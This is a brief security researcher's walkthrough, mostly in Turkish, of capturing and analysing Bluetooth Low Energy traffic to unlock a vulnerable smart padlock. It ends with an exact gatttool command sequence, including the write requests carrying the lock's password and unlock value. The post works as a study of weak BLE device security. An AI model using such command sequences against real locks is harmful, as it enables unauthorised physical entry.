Reverse a BLE

Requirements:

Hardwares

  • Android Phone (4.4 +)
  • CSR4.0
  • Vulnerabile BLE device (Smart lock – padlock)

Softwares

  • Bleah
  • Wireshark
  • gattool

Obtain BLE traffic logs

İlk olarak Android cihaz üzerinde aşağıdaki görsellerde görüldüğü üzere bir ayar set ediyoruz. Bu şekilde artırk BLE loglarına 3 numaralı resimde belirtilen lokasyondan erişme ve wireshark ile inceleme şansımız olacak.

 

Analyze BLE traffic with Wireshark

  • Protocol Hierarchy

Elde edilen log dosyası wireshark ile açılıp protocol hierarchy özelliği sayesinde paket içerisinde katmanlar inceleniyor. Burada “Attribute Protocol” varlığı bizim işimize daha çok yarayacak. Bunu gördükten sonra wireshark ile bir filtre uyguluyoruz.

 

  • ATT Protocol and Write Requests

Bleah

Bleah isimli araç ile cihaza ait “WRITE” yetkisi olan alanlar ve servis bilgileri tespit ediliyor.

  • bleah -t10 – > Etraftaki BLE cihazlarını 10 sn tarar.
  • bleah -b mac_address_device -e -> Cihazı enumerate ederek aşağıdaki bilgileri bize getirir.

Daha sonra bu alanlar incelendiğinde “Smart lock” cihazı için kullanılan “password” tespit ediliyor.

Bu işlemden sonra gattool ile birlikte bu tespit edilen alanlara (handle) belirtilen değerler gönderiliyor. Bu işlem içinde bluetooth alıcı verici olarak kullanılabilen. CSR 4.0 kullandım.

Hack Smart Lock

Yaptığım işlemler sırası ile aşağıdaki gibiydi.

  1. hciconfig
  2. hciconfig hci0 up
  3. hcitool lescan (finds mac_address_ble_device)
  4. gatttool -b mac_address_ble_device -I
  5. connect
  6. char-write-req 0x002d 001234567800000000
  7. char-write-req 0x0037 0x01

İşlem sonucunda kilit başarılı bir şekilde açıldı.

Besim ALTINOK

Cyber Security Researcher